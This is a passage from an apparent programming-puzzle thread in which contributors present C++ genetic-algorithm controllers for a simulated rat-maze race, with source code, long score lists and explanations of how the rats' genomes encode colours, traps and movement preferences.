map(x, y) = good; } // pick a vertical direction according to surroundings signature int go_up = d[64 + signature % (DNA_BITS - 64)]; // try to move to a good cell nearer the goal for (const coord_t &move : go_up ? moves_up : moves_down) if (map(move.x, move.y) == good) return move; // try not to increase fitness of this intellectually impaired specimen return{ -1, 0 }; } int main() { time_t start = time(NULL); double score = runsimulation(blindFaith); slog << "Geometric mean score: " << score << " in " << time(NULL) - start << " seconds"; } ``` Sample results: ``` Scores: 15 4113306 190703 1 1 44629 118172 43594 63023 2 4 1 1 205027 1 455951 4194047 1 5 279 1 3863570 616483 17797 42584 1 37442 1 37 1 432545 5 94335 1 1 187036 1 4233379 1561445 1 1 1 1 35246 1 150154 1 1 1 1 90141 6 1 1 1 26849 1 161903 4 123972 1 55 988 7042063 694 4711342 90514 3726251 2 1 383389 1 593029 12088 1 149779 69144 21218 290963 17829 1072904 368771 84 872958 30456 133784 4843896 1 2 37 381780 14 540066 3046713 12 5 1 92181 5174 1 156292 13 1 1 29940 66678 125975 52714 1 5 3 1 101267 69003 1 1 10231 143110 282328 4 71750 324545 25 1 22 102414 1 3884626 4 28202 64057 1 1 1 1 70707 4078970 1623071 5047 1 1 549040 1 1 66 3520283 1 6035495 1 79773 1 1 1 218408 1 1 15 33 589875 310455 112274 1 1 4 1 3716220 14 180123 1 2 12785 113116 12 2 1 59286 822912 2244520 1840950 147151 1255115 1 49 2 182262 109717 2 9 1049697 59297 1 11 64568 1 57093 52588 63990 331081 54110 1 1 1537 3 38043 1514692 360087 1 260395 19557 3583536 1 4 152302 2636569 12 1 105991 374793 14 3934727 1 2 182614 1 1675472 121949 11 5 283271 207686 175468 1 1 173240 1 138778 1 1 59964 3290382 1 4 1757946 1 23520 1 2 94 1 124577 497071 1749760 39238 1 301144 3 1 2871836 1 1 10486 1 11 8 1 111421 11 1807900 1 587479 1 42725 116006 3 1 6 5441895 1 1 22 52465 952 1 18 1 1 46878 2 1 1 1994 4 593858 123513 4692516 820868 4247357 1 1 2 1 2 8770 2 1 95371 4897243 2 22741 1 1 1 1 325142 6 33650 4 51 102993 1 182664 1 4040608 18153 2045673 462339 1 1 617575 2 2551800 3 7760 1 108012 76167 143362 1148457 1 53460 1 71503 1 1 1 1 81482 3208 62286 69 139 1 3503941 1 253624 101903 3081954 80123 84701 9 16 1 1070688 71604 613064 2076 15009 9 1 1 1 199731 1 2 1 63132 1 1843855 27808 1 3569689 273144 1 460524 2703719 22443 10876 51242 1 6972678 4591939 1 140506 43981 45076 2 1 91301 5 1 1874615 1758284 608 13 1 96545 75161 1 618144 4 2056133 1 1 2 57401 1394307 6 188116 83545 1 41883 1 1 467189 371722 1 1122993 1 17912 159499 1 5 3355398 33 1 2 246304 1 2 168349 1 50292 12 141492 2723076 3 1 6 3060433 223360 171472 106409 1 2 1 102729 8814 1 285154 1 11 1 65 930 2 689644 3271116 1 5 4 60 77447 1 1 1477538 256023 100403 2480335 1 39888 1 1 70052 66090 1 250 1 2 8 115371 1523106 1424 168148 1 1 1 42938 17 1 364285 185080 1 1 36 4903764 13 51987 1106 276212 67460 1 251257 2 6867732 1 1 1890073 1 1 8 5 2118932 210 0 3792346 5209168 1 1 1 1 51 1 4621148 1 37 337073 3506096 1 1 1 1 458964 2 16 52930 1 15375 267685 1 1 1259646 14930 3248678 527105 1 103 24 1 3252685 6009 1 1 176340 3971529 121 1722808 1 31483 194232 2314706 95952 3625407 3 216755 56 1 8 1 1 1 1 885 229 9056 172027 31516 2526805 1 76076 1589061 1 1 8 90812 1 21 72036 1681271 2 212431 1581814 85993 79967 4 7 514708 1070070 1 71698 1 23478 15882 94453 1 27382 495493 277308 12127 91928 248593 1 1 1 26540 1709344 2119856 1 1 48867 107017 251374 64041 15924 15 87474 8 1 23 9 48 1 1 1 51793 2 61029 84803 15 689851 1 1 873503 10 140084 420034 87087 82223 1 163273 12 1 5 570463 19 26665 1 170311 1 39983 1 475306 1 2 36417 746105 11 141345 1 3 1 30 3 1 1 1 1 1312289 408117 1 42210 273871 561592 1 1 1 1 4448568 48448 7 378508 1 351858 278331 1 79515 1169309 3670107 14711 4686395 1156554 33 2528441 24537 76 335390 63545 122108 76675 21929 34 1 861361 83000 417781 1 90487 1 1 85116 7 2 1 60129 647991 79 1 2755780 726845 244217 50007 187212 1 3674051 286071 44068 3 307427 26973 1 26059 1957457 230783 58102 545318 1 4 172542 168365 1 89402 1 4 1 1 1 1 2 3 16 62935 5643183 117961 109942 85762 5 117376 118883 1 61 23893 122536 70185 1 64252 208409 179269 55381 1579240 3434491 1 4964284 3356245 3 21 2197119 346542 44340 59976 772220 5590844 199721 90858 63785 125989 57219 129737 81836 1 3671 16810 1 4151040 1 15 40108 1 443679 3224921 2 27498 2 3 146529 169409 19 1 1 1 1 41627 1 3 2722438 1 2013730 1 1649406 1 1 6943 125772 58652 1 1 1 2413522 1 2 48 36067 253807 2 146464 1 248 07 3359223 139896 395985 65241 43988 594638 69033 275085 1 17973 1 1 1 594835 1 1 4468341 3496274 222854 94769 55 161056 36185 8793 277592 3 1 6746 1 138151 66 37365 1 2729315 1 3 57091 22408 249875 246514 85058 1 20 5463152 1 3 1 45293 1 70488 2792458 461 441 951926 2236205 2 171980 1 1 48 3893009 1 458077 1 268203 1 70005 7 19299 1 278978 1 45286 26 2 1883506 274393 342679 1 1 913722 911600 12688 1 1 115020 1249307 1529878 53426 1 226862 3721440 23537 86033 397433 1 1 1 161423 96343 94496 1 1 1 2 1 111576 1 4039782 1 1 1 5742393 3569 46072 1 1 2 1 1 85335 219988 1 78871 115876 43405 1 300835 1 166684 53134 1 3 111487 6 3 3 77 1 115971 3 205782 10 1932578 356857 43258 47998 1 27648 127096 573939 32650 523906 45193 1 2 128992 1 10144 1 257941 1 19841 5077836 14670 5 3 6 1 1 21 14651 2906084 37942 45032 9 304192 3035905 6214026 2 177952 1 51338 1 65594 46426 553875 2676479 245774 95881 3 216364 3064811 1198509 223982 3 6 1 533254 1 590363 264940 68346 127284 1 7 1 1 4617874 5 45400 1 1 3097950 360274 1 3 1 8421 14 469681 418563 3 1 6 1 1 575766 405239 11 2631108 152667 1 1 1 467383 1 1 775499 1 157998 2 1 143351 92021 1 1 1173046 3636579 1 70635 162303 1 1534876 834682 2 1 1 11981 346908 245124 607794 17 1570641 126995 13 57050 1 2 33731 29739 1 1 35460 1 33716 168190 214704 1 443156 701674 2636870 108081 1604895 1 1 11 115901 23 571891 360680 1 1 35 1 2036975 1 1 2555536 4742615 5 360553 287044 1 1814255 7 59632 1 216 41546 1 540920 353424 2625301 223744 1 1 1 15717 3 429871 1 4 2329632 18 11 1 2 4 1 3905 5 1 1 1 2 5431442 1 859628 1 3 338378 15236 13764 1 3384362 1 15 65293 24 619599 152620 2 189921 35854 16647 7 2 404790 360096 1 2 189459 1097768 191610 1 1 470254 1 12 2 330299 364219 2365542 312023 2273374 2 10527 1 115453 1 2 3845592 52388 913449 1 14695 1 44 37352 90302 1 1 1 233577 51639 3474983 44010 1650727 31 2 2 1 8 7 1 3 5 25603 17799 45630 758457 1 4571839 37 4 3 2 1 1 1351271 196673 12 2880765 263886 2926173 1 2 1 241502 5 6 1 278576 9 7 290722 42749 143391 82753 21771 57887 1 1 60400 1766903 1 296392 1 5 2861787 125560 1 9 199218 1 1 308226 517598 2246753 12 1168981 3 98447 1 488613 9 842865 202108 10 1 238493 1 1523706 5383982 29435 1 1 207071 1 8 4 125742 70531 253135 72207 124291 23364 184376 2 40034 9569353 194109 102854 2 3247153 58313 85995 1 598 63 1 2676692 10 3573233 1 36651 118016 2486962 65456 46760 1 5813 723 178120 2 153305 1 1 2 1 2354413 3 1 17126 132953 437123 299778 3070490 1 6490 403704 2261 511439 1 39 33410 173045 1 1 120970 641346 132042 1 44906 1 33940 132124 467702 45472 9 44 1 1 1 107008 1 46635 1 121431 130760 1 7 3 1 56251 1299306 3 1 1 1 15 2147678 215169 1374943 1 332995 231089 269310 1 7816944 1 1 1 46 134426 1 1 1 2 76112 1 1 30438 299927 25 139373 76048 278757 71 3474997 1 294046 1 3126554 2518019 2 1 6 1 3054393 1 1 1 2 525 96 419528 1 1 154718 233 207879 26 1 6 57436 3 5944942 1 1 318198 147536 1 22 420557 1 1 120938 1 1 167412 4082969 73299 1 11 3557361 1 4 330028 269051 1 2569546 2 1 1 4 1 1 377412 1 1 1 213800 58131 1422177 54 109617 117751 12432 3830664 419046 3 6821 741 919 1 22335 1 1 15069 80694 488809 2389 2308679 145548 51411 115786 110984 107713 1 12 6 1 5 8365 1 2001874 210250 4674015 14 1 1204101 314354 89066 1 1 2438200 68350 1 1575329 5593838 2743787 151670 57 16 5948210 597158 128060 189160 23628 1 1 15 4171774 1 8206 4157492 1 2 315607 1618680 24736 18520 4787225 33842 134431 1 1 1 1 1 1115809 17759 1 33016 123117 1 77322 169633 219091 1 321593 57231 135536 175401 4 1 435702 1 253132 100707 114547 1 119324 6382967 1472898 3 72567 1707408 177958 26 208719 1 27083 74 12 576410 19375 177069 4 3 1 31 507048 2 1 1 2 1 2 1 40 7 99892 95202 60649 241396 232370 1 136579 70649 1 2877 280695 13603 102860 404583 29717 112769 1 54089 1 97579 40819 2 868629 64848 2 63432 5 1 1888426 99623 2 1 7911 53646 3047637 1 2 3 152910 1 3244662 105187 1 1 1 1 8966 200347 1 1 22 302654 6 17 1 10 328150 55259 1016 117291 2 1 224524 23846 74645 1 1 1 1 1 3117394 10847 33976 144613 4 201584 1 1 26959 3 4410588 27019 6 66749 55935 23 4126812 4089989 99959 1 1 1 1 55490 1 4275599 13652 33967 2 8126062 337093 320653 128015 4 1 7729132 1 10594 116651 20990 3046630 1 353731 132989 2066431 4 80 15575 147430 1 621461 3100943 2306122 5 33439 407945 25634 1 2911806 32511 2174235 298281 15159 54125 1 2 3063577 2205013 1 407984 1 319713 1 22171 1 2763843 1 2607606 1 100015 3096036 1 55905 1 1 635265 2890760 1 1 1 1 35854 1 352022 2652014 1 2 274366 1 4 1 602980 4 83828 602270 2816 2 59116 25340 1 11 1 5162051 34 8 218372 1186732 142966 1 1 170557 503302 1 84924 5 1 1350329 1 1 1 130273 78055 902762 1 8581 5 1 3635882 1 1 1 224255 44044 61250 2 438453 8 1 2729357 28 1 17658 82640 1 31809 10 1 33 1 1 45495 5798 5000217 40018 588787 67269 1 12 83512 2798339 1 609271 1 3 1 7 67912 189808 3388775 60961 81311 1167 24939 433791 405306 85934 1 1170651 2 1 66 552579 122985 515363 2188340 1 1 1 3807012 1502582 4 13 149593 1 1 2108196 3 34279 24613 1282047 27 1 2 1 1 584435 27487 1 1 5 33278 1 1 1202843 1 1 1 6 3649820 3100 2 266150 13 164117 10 53163 3295075 1 1 1 1 77890 1 286220 90823 18866 3139039 481826 1 3994676 23 116901 132290 6 3927 84948 1 1 1 1 256310 1 11 8 1 102002 8392 887732 98483 444991 1 1 49408 409967 1158979 1 1 1 81469 189764 3960930 296231 64258 1 1 176030 4 1 2 1 486856 1 1135146 31 2 13112 227077 31 Geometric mean score: 831.185 in 14820 seconds ``` Based on feersum's unvoluntarily long test, I reckon 2000 runs are enough to produce an acceptably stable result. Since my modified controller displays the current geometric mean after each run, I confirmed visually that the variation over the last 50 runs was relatively small (+- 10 points). ## What makes these critters tick Instead of giving equal priorities to each color, I consider these possible values: 1. **good** -> the rat thinks it can go safely there 2. **bad** -> the rat won't go there 3. **trap** -> the rat will consider the position of the trap **bad** and the cell indicating the trap **good**. Though I'm too lazy to rename it, this rather a "danger detector" indicating the (supposed) location of an actual trap, a wall, a teleporter waiting to send the unsuspecting wanderer to an unpleasant place or even the entrance of a dead-end. In short, a place where a wise rat would rather not go. good or bad genes only take 2 bits to store (for instance `11` and `10`), but traps require 4 bits (`0ttt` where `ttt` represents one of the possible 8 "dangerous" locations). To keep each gene consistent (i.e. retaining its meaning after been mixed into a completely different genome, which requires each color-coding gene to be at a fixed location), all values are coded on 4 bits (so *good* is coded as `11xx` and *bad* as `10xx`), for a total of 16\*4 = 64 bits. The remaining 36 bits are used as "anti wall-bangers" (more on that later). The 25 surrounding colors are hashed into an index of these 36 bits. Each bit indicates a preferred vertical direction (up or down), that is used when there is a possible choice between two cells. The strategy is as follows: * decode each color according to genome (or direct controller report for off-track "bad" cells) * build a map of the immediate surroundings (3x3 cells, 8 possible neighbours) * compute a signature of the surroundings (a hash of the 25 colors except off-track cells) * pick a preferred vertical direction from the signature (among 36 hash buckets) * try to move to a neighbour hinted as "good", starting with the ones nearest the goal and going in the preferred vertical direction first * if no "good" neighbour can be found, try to move one cell back (thus possibly being victim of an unfortunate accident, and avoiding to increase fitness at any rate) ## Ye rodents, behold the enemies of your kind ![the dreaded wall](https://upload.wikimedia.org/wikipedia/commons/thumb/d/d1/Brick_wall_close-up_view.jpg/220px-Brick_wall_close-up_view.jpg) [![teleporting loop](https://i.stack.imgur.com/35vu9.gif)](https://i.stack.imgur.com/35vu9.gif) (source: [losal.org](https://www.losal.org/cms/lib7/CA01000497/Centricity/Domain/340/ani-mouse.gif)) The worst thing that can happen to a population is to have produced no winner yet, but a lot of rats stuck either against a wall or inside an infinite teleporting loop *close enough to the goal to have a dominant chance of being selected for breeding*. Contrary to rats being squashed in a trap or teleported into walls, these rodents will only be killed by old age. They have no competitive advantage over their cousins stuck 3 cells from the start, but they will have ample time to breed generation after generation of cretins until their genome becomes dominant, thus harming genetic diversity badly for no good reason. To mitigate this phenomenon, the idea is to make the offsprings of these bad, bad rats more likely to avoid following in the steps of their ancestry. The vertical direction indication is only 1 bit long (basically saying "try going up or down first in these surroundings"), and quite a few bits are likely to have an effect on the path followed, so mutations and/or crossovers should have a significant impact. A lot of the offsprings will have a different behaviour and won't end up banging their head on the same wall (among the corpses of their starved ancestors). The subtelty here is that this indication is not the dominant factor in the rat's behaviour. Color interpretation will still prevail in most cases (the up/down choice will only matter if there are indeed two "good" cells to choose from *and* what the rat sees as a harmless color is not a teleporter waiting to cast it into a wall). ## Why does it (seem to) work? I still don't know precisely why. The absolute stroke of luck that remains an unsolved mystery is the trap mapping logic. It is without a doubt the cornerstone of success, but it works in its own mysterious ways. With the coding used, a random genome will produce 25% "good", 25% "bad" and 50% "trap" color identifiers. the "trap" identifiers will in turn produce "good" and "bad" estimations in correlation with the 5x5 surroundings. As a result, a rat at a given location will "see" the world as a mix of stable and contextual "go / no go" colors. As the quite successful anti-banging mechanism seems to indicate, the worst kind of element on the track is the dreaded wall (and its cousin the teleporting loop, but I guess these are far less common). The conclusion is, a successful program must above all manage to evolve rats able to detect positions that will lead to a slow starvation without reaching the goal. Even without "guessing" the two colors representing walls, the "trap" colors seem to contribute to wall avoidance by allowing a rat to bypass a few obstacles not because it "saw" the walls, but because the "trap" estimation ruled out these particular wall cells in these particular surroundings. Even though the rat tries to move toward the goal (which might lead to think the most "useful" trap indicators are the ones indicating a danger in front), I think all trap directions have roughly the same influence: a trap indicating "danger behind" located 2 cells in front of a rat has the same influence as one indicating "danger ahead" when the rat stands right on top of it. Why this mix has the property to make the genome converge so successfully is way beyond my maths, unfortunately. I feel more confortable with the wall-banging deterrent. This just worked as planned, though well above my expectations (the score was basically multiplied by four). I hacked the controller heavily to display some data. Here are a couple of runs: ``` Turns:2499 best rat B B B G B G T3 G T4 B G B B B G G ^vv^^vv^v^v^^^vvv^v^^^v^^^v^vv^^v^^^ Max fitness: 790 Specimens: 1217 Score: 2800 Turns:4999 best rat B B B G B G T3 G T4 B G B B B G G ^vv^^vv^v^v^^^vvv^v^^^v^^^v^vv^^v^^^ Max fitness: 5217 Specimens: 15857 Score: 685986 Turns:7499 best rat B B B G B G T3 G T4 B G B B B G G ^vv^^vv^v^v^^^vvv^v^^^vvvvv^^v^v^^^^ Max fitness: 9785 Specimens: 31053 Score: 2695045 Turns:9999 best rat B B B G B G T3 G T4 B G B B B G G ^vv^^vv^v^v^^^vvv^v^^^vvvvv^^v^v^^^^ Max fitness: 14377 Specimens: 46384 Score: 6033904 Scored 6035495 in game 146 current mean 466.875 ``` Here a breed of super-rat appeared early (the track probably allowed to run in a straight line and some lucky rat in the very first generations had the right DNA to take advantage of it). The number of specimens in the end is about the half of the theoretical max of some 100.000 rats, which means nearly half the critters acquired the ability to survive this particular track indefinitely (!). Of course the resulting score is simply obscene - as is the computation time, by the way. ``` Turns:2499 best rat B T0 G B T7 B G B T6 T0 T3 B G G G T4 ^v^^^^^v^^v^v^^^^^^^^v^v^v^^vvv^v^^^ Max fitness: 18 Specimens: 772 Score: 1 Turns:4999 best rat T7 G G G G T7 G B T6 T0 T3 T5 G G B T4 ^vvvvvvv^^^vvv^^v^v^^^^^^^^^^^^^v^^^ Max fitness: 26 Specimens: 856 Score: 1 Turns:7499 best rat G T0 G T3 G T0 G B T6 T0 T2 B T4 G B T4 ^^v^vvv^^^vv^^v^vvv^v^^vvvv^^^^^^^^^ Max fitness: 55 Specimens: 836 Score: 5 Turns:9999 best rat T6 T0 G T5 B T1 G B T6 T0 T3 B T4 G B T4 ^^vv^^^^vv^^v^v^^v^^vvv^vv^vvv^^v^^v Max fitness: 590 Specimens: 1223 Score: 10478 Scored 10486 in game 258 current mean 628.564 ``` Here we can see the genome refinement at work. The lineage between the last two genomes appears clearly. The *good* and *bad* evaluations are the most significant. The *trap* indications seem to oscillate until they either stabilize to a "useful" *trap* or mutate into *good* or *bad*. It seems the color genes have a few useful characteristics : * they have a self-contained meaning (a specific color has to be handled in a specific way) Each color coding can be thrown into a completely different genome without changing the behaviour dramatically - unless the color happens to be in fact a decisive one (typically a wall or a teleporter leading to an infinite loop). This is less the case with a basic priority coding, since the most prioritary color is the only information used to decide where to move. Here all "good" colors are equal, so a given color added to the "good" list will have less impact. * they are relatively resilient to mutations the good/bad coding has only 2 significant bits out of 4, and the trap location might be changed most of the time without altering the rat behaviour significantly. * they are small (4 bits) so the probability to be wrecked by a crossover is very low. * mutations produce either harmless of meaningful changes A gene mutating to "good" will either have little effect (if for instance it corresponds to an empty cell, it might allow to find a new, shorter path, but that could also lead the rat straight into a trap), or a dramatic one (if the color represents a wall, the new rat is very likely to get stuck somewhere). A gene flipping to "trap" will either deprive the rat from an essential color or have no noticeable effect. A mutation of a trap location will only matter if there is indeed a trap (or anything harmful) ahead, which has a relatively small probability (I would say something like 1/3). Lastly, I guess the last 36 bits contribute not only to avoid getting rats stuck, but also to spreading rats more evenly on the track, thus preserving genetic diversity until a winning genome emerges and becomes dominant through the color-coding part. ## Further work I must say I find these little critters fascinating. Thanks again to all the contributors to this excellent challenge. I am thinking of butchering the controller further to display more significant data, like the ancestry of a successful rat. I would also very much like to see these rats in action, but this C++ b\*\*ch of a language makes creating - let alone animating - images (among many other things) a messy chore. In the end, I would like to produce at least an explanation of the trap system, and possibly improve it. ## Controller hacking If someone is interested, I can publish the modifications I made to the controller. They are dirty and cheap, but they do the job. I'm no GitHub savvy, so that would have to go through a mere post. [Answer] # Hard believers - C++ - (improved teleporters): 10.000+ for 2000 runs *(this is an evolution of [Blind faith](https://codegolf.stackexchange.com/questions/44707/lab-rat-race-an-exercise-in-genetic-algorithms/44748#44748), so you might want to climb another wall of text before this one)* ``` #ifndef NDEBUG #define NDEBUG #include "./gamelogic.cpp" #endif // NDEBUG #include <cassert> #define NUM_COLORS 16 #define BITS_OFFSET 3 #define BITS_TYPE 2 #define BITS_SUBTYPE 2 #define BITS_COLOR (BITS_TYPE+BITS_OFFSET) // how our rats see the world typedef unsigned char enumSupport_t; typedef unsigned char trapOffset_t; typedef enum : enumSupport_t { danger, // code trap detector beam, // code safe teleporter empty, // code empty block, // code wall, pit or teleporter trap, // computed detected trap pit, // read off-board cell } colorType_t; // color type encoding (4 first bits of a color gene) // the order is critical. A single block/empty inversion can cost 2000 points or more const colorType_t type_decoder[16] = { /*00xx-*/ danger, empty, beam, block, /*01xx-*/ beam, danger, empty, block, /*10xx-*/ empty, beam, block, danger, /*11xx-*/ block, empty, danger, beam, }; // all 8 possible neighbours, carefully ordered typedef coord_t neighborhood_t[8]; neighborhood_t moves_up = { { 1, 0 }, { 1, 1 }, { 1, -1 }, { 0, 1 }, { 0, -1 }, { -1, 0 }, { -1, 1 }, { -1, -1 } }; // toward the goal, going up first neighborhood_t moves_down = { { 1, 0 }, { 1, -1 }, { 1, 1 }, { 0, -1 }, { 0, 1 }, { -1, 0 }, { -1, -1 }, { -1, 1 } }; // toward the goal, going down first // using C++ as a macro-assembler to speedup DNA reading /* Would work like a charm *if* a well-paid scatterbrain at Microsoft had not defined std::bitset::operator[] as bool operator[](size_t _Pos) const { // subscript nonmutable sequence return (test(_Pos)); } Bounds checking on operator[] violates the spec and defeats the optimization. Not only does it an unwanted check; it also prevents inlining and thus generates two levels of function calls where none are necessary. The fix is trivial, but how long will it take for Microsoft to implement it, if the bug ever makes it through their thick layer of tech support bullshit artists? Just one of the many reasons why STL appears not to live up to the dreams of Mr Stroustrup & friends... */ template<size_t BITS> int DNA_read(dna_t dna, size_t base) { const size_t offset = BITS - 1; return (dna[base + offset] << offset) | DNA_read<offset>(dna, base); } template<> int DNA_read<0>(dna_t, size_t) { return 0; } // color gene struct colorGene_t { colorType_t type; trapOffset_t offset; // trap relative location colorGene_t() : type(empty) {} // our rats are born optimists }; // decoded DNA class dnaInfo_t { private: const dna_t & dna; static const size_t direction_start = NUM_COLORS*(BITS_TYPE + BITS_OFFSET), direction_size = DNA_BITS - direction_start; public: colorGene_t color[NUM_COLORS]; int up_down; // anti-wall-banger // decode constant informations during construction dnaInfo_t(const dna_t & d) : dna(d) { for (size_t c = 0; c != NUM_COLORS; c++) { unsigned raw = DNA_read<BITS_COLOR>(d, c * BITS_COLOR); color[c].type = type_decoder[raw >> 1]; if (color[c].type == danger) color[c].offset = raw & 7; else if (color[c].type == beam ) color[c].offset = raw & 3; } } // update with surroundings signatures void update(size_t signature) { // anti-blocker up_down = (direction_size > 0) ? dna[direction_start + signature % direction_size] : 0; } }; // map of the surroundings class map_t { struct cell_t { coord_t pos; int color; }; static const size_t size = 5; static const int max = size / 2; static const int min = -max; size_t local_signature[size*size]; // 8 neighbours signatures for teleporters cell_t track_cell[size*size]; // on-track cells size_t cell_num; colorType_t map[size*size]; size_t raw_index(int x, int y) { size_t res = x * size + y + max + max * size; assert(res < size*size); return res; } size_t raw_index(coord_t pos) { return raw_index(pos.x, pos.y); } bool is_inside(int x, int y) { return abs(x) <= max && abs(y) <= max; } public: size_t compute_signatures(view_t v, dnaInfo_t genome) { cell_num = 0; size_t signature = 0; memset (local_signature, 0, sizeof(local_signature)); int i = 0; for (int x = min; x <= max; x++) for (int y = min; y <= max; y++) { int c = v(x, y); if (c == -1) { (*this)(x, y) = pit; continue; } track_cell[cell_num++] = { { x, y }, c }; signature ^= c << (4 * (i++ & 1)); if (genome.color[c].type == beam) { int in = 0; for (coord_t n : moves_up) { coord_t pn = {x+n.x,y+n.y}; if (!is_inside(pn)) continue; int cn = v(pn.x, pn.y); // if (cn == -1) continue; local_signature[raw_index(pn.x,pn.y)] ^= cn << (4 * (in++ & 1)); } } } return signature; } void build(dnaInfo_t genome) { coord_t traps[size*size]; size_t t_num = 0; // plot color meanings for (size_t c = 0; c != cell_num; c++) { const cell_t& cell = track_cell[c]; const colorGene_t& color = genome.color[cell.color]; (*this)(cell.pos) = (color.type == beam && (local_signature[raw_index(cell.pos.x,cell.pos.y)] % 4) == color.offset) ? block : color.type; // build a list of trap locations if (color.type == danger) { coord_t location = cell.pos + moves_up[color.offset]; if (is_inside(location)) traps[t_num++] = location; } } // plot trap locations while (t_num) (*this)(traps[--t_num]) = trap; } // quick & dirty pathing struct candidate_t { coord_t pos; candidate_t * parent; candidate_t() {} // default constructor does not waste time in initializations candidate_t(int) : parent(nullptr) { pos.x = pos.y = 0; } // ...this is ugly... candidate_t(coord_t pos, candidate_t * parent) : pos(pos), parent(parent) {} // ...but so much fun... }; coord_t path(const neighborhood_t & moves) { candidate_t pool[size*size]; // private allocation for express garbage collection... size_t alloc; candidate_t * border[size*size]; // fixed-size FIFO size_t head, tail; std::bitset<size*size>closed; // breadth first search. A* would be a huge overkill for 25 cells, and BFS is already slow enough. alloc = head = tail = 0; closed = 0; closed[raw_index(candidate_t(0).pos)] = 1; border[tail++] = new (&pool[alloc++]) candidate_t(0); while (tail > head) { candidate_t & candidate = *(border[head++]); // FIFO pop for (const coord_t move : moves) { coord_t new_pos = candidate.pos + move; if (is_inside(new_pos)) { size_t signature = raw_index(new_pos); if (closed[signature]) continue; closed[signature] = 1; if ((*this)(new_pos) > empty) continue; if (new_pos.x == 2) goto found_exit; // a path to some location 2 cells forward assert(alloc < size*size); assert(tail < size*size); border[tail++] = new(&pool[alloc++]) candidate_t(new_pos, &candidate); // allocation & FIFO push continue; } // a path out of the 5x5 grid, though not 2 cells forward found_exit: if (candidate.parent == nullptr) return move; candidate_t * origin; for (origin = &candidate; origin->parent->parent != nullptr; origin = origin->parent) {} return origin->pos; } } // no escape return moves[1]; // one cell forward, either up or down } colorType_t & operator() (int x, int y) { return map[raw_index(x, y)]; } colorType_t & operator() (coord_t pos) { return operator()(pos.x, pos.y); } bool is_inside(coord_t pos) { return is_inside(pos.x, pos.y); } }; std::string trace_DNA(const dna_t d, bool graphics = false) { std::ostringstream res; dnaInfo_t genome(d); for (size_t c = 0; c != NUM_COLORS; c++) { if (graphics) { res << "tbew--"[genome.color[c].type]; if (genome.color[c].type == danger) res << ' ' << moves_up[genome.color[c].offset].x << ' ' << moves_up[genome.color[c].offset].y; if (genome.color[c].type == beam) res << ' ' << genome.color[c].offset << " 0"; if (c != NUM_COLORS - 1) res << ','; } else switch (genome.color[c].type) { case danger: res << "01234567"[genome.color[c].offset]; break; case beam : res << "ABCD"[genome.color[c].offset]; break; default: res << "!*-#X@"[genome.color[c].type]; break; } } return res.str(); } coord_t hardBelievers(dna_t d, view_t v) { dnaInfo_t genome(d); // decoded DNA map_t map; // the surroundings seen by this particular rodent // update genome with local context genome.update(map.compute_signatures(v, genome)); // build a map of the surrounding cells map.build(genome); // move as far to the right as possible, in the contextually preffered direction return map.path(genome.up_down ? moves_up : moves_down); } int main() { time_t start = time(NULL); double score = runsimulation(hardBelievers, trace_DNA); slog << "Geometric mean score: " << score << " in " << time(NULL) - start << " seconds"; } ``` Episode IV: getting our bearings on the grid ## Results ``` Scores: 309371 997080 1488635 1 19 45832 9 94637 2893543 210750 742386 1677242 206614 111809 1 1738598 1 1 342984 2868939 190484 3354458 568267 280796 1 1 1 679704 2858998 1 409584 3823 200724 1 973317 849609 3141119 1 1987305 1 1 57105 245412 1223244 2 1603915 2784761 9 12 1 1839136 1 298951 2 14 138989 501726 1365264 308185 707440 22 772719 17342 63461 3142044 19899 3 409837 48074 3549774 138770 32833 1 1 1184121 67473 310905 1996452 4201 1701954 2799895 2041559 218816 174 433010 51036 1731159 1871641 1 23 2877765 1 127305 27875 626814 142177 2101427 167548 2328741 4 8433 2674119 2990146 466684 1 2 8 83193 388542 2350563 1 1140807 100543 1313548 31949 73117 73300 121364 1899620 1280524 1 10726 12852 7 2165 1 3 44728 2 122725 41 2 1902290 3 1 8581 70598 1148129 429767 1 112335 1931563 521942 3513722 1 2400069 1 3331469 141319 220942 205616 57033 63515 34 6 1419147 1983123 1057929 1 599948 2730727 2438494 5586 268312 1728955 1183258 95241 1537803 11 13 1157309 1750630 1 1 2690947 101211 3463501 1 258589 101615 212924 137664 19624 251591 509429 510302 1878788 1 4045925 1 21598 459159 118663 7 3606309 3 13016 17765 640403 1 72841 695439 1 135297 2380810 1 43 31516 14 1442940 1001957 95903 194951 1 238773 773431 1 1 975692 2 4990979 52016 3261784 2 413095 12 3 420624 7905 60087 760051 2702333 2572405 1 1717432 1 12 3040935 1 1 31787 60114 513777 1 3270813 9639 581868 127091 270 164228 274393 1275008 261419 597715 138913 28923 13059 1848733 2895136 7754 14 1 107592 1 3557771 2067538 147790 112677 119004 1 13791082842974 249727 838699 4067558 6 470799 695141 1 3 1 1276069 23691 831013 5 165142 1236901 1 187522 2599203 1 67179 81345 44111 2909946 94752 7 406018 991024 4 1 3 573689 6 748463 2166290 33865 670769 322844 5657 1131171 1990155 5 4536811 1785704 3226501 2030929 25987 3055355 192547 1761201 433330 27235 2 312244 13203 756723 81459 12 1 1 54142 307858 2 25657 30507 1920292 3945574 1 191775 3748702 3348794 4188197 366019 1540980 3638591 1 1840852 1 26151 2888481 112861 8 11 2 1 27231 1 74 106853 3 173389 2390495 25 1 83116 3238625 75443 1 1 2125260 1 49626 1 6 312084 159735 358268 54351 367201 2868856 5779 172554 119016 141728 3 1 6 9 1 1504011 1 168968 1868493 1 5 1 244563 2 2887999 3144375 1598674 1 1578910 45313 176469 30969 8 127652 1911075 9 1300092 224328 168752 8 1619669 292559 9090 2040459 705819 1852774 10 139217 16 1221670 355060 339599 3 2184244 2546028 1 1 11 70958 242187 1 80737 1 190246 3 1 1 577711 150064 1 1047154 3851461 92399 224270 612237 1 3 3330053 1 1 1192533 615756 267923 144724 2 1 150018 4621881 1 6 299247 115996 2 10 6 185495 76351 465554 178786 1802565 257101 56 2491615 1 24547 1 1203267 32 5741149 541203 11393 1 368082 540534 16167 113481 2004136 13045 17 1 12 333803 14 1955075 1 4 38034 1286203 2382725 26777 1 180312 1 87161 4773392 1244024 1146401 3 80598 2983715 1 63741 1 1 2561436 16 1 1 1807854 1239680 200398 2 46153 1400933 11 5058787 8787 1 98841 89162 1106459 112566 1 4138891 2858906 101835 81375 539485 6587808 1 5359988 1 1 869106 443452 120748 436156 2 2 3944932 1 1875599 2 3081185 733911 447824 1 1 23187 3082414 33 3 1 1 2053904 410824 104571 885952 1946162 2 294773 364169 1 101310 2166548 1177524 2192461 12 4 3457016 90975 2356374 573234 53746 187527 7837 1441335 458407 52139 3387239 2030900 38 1648216 215105 212589 8278 1201586 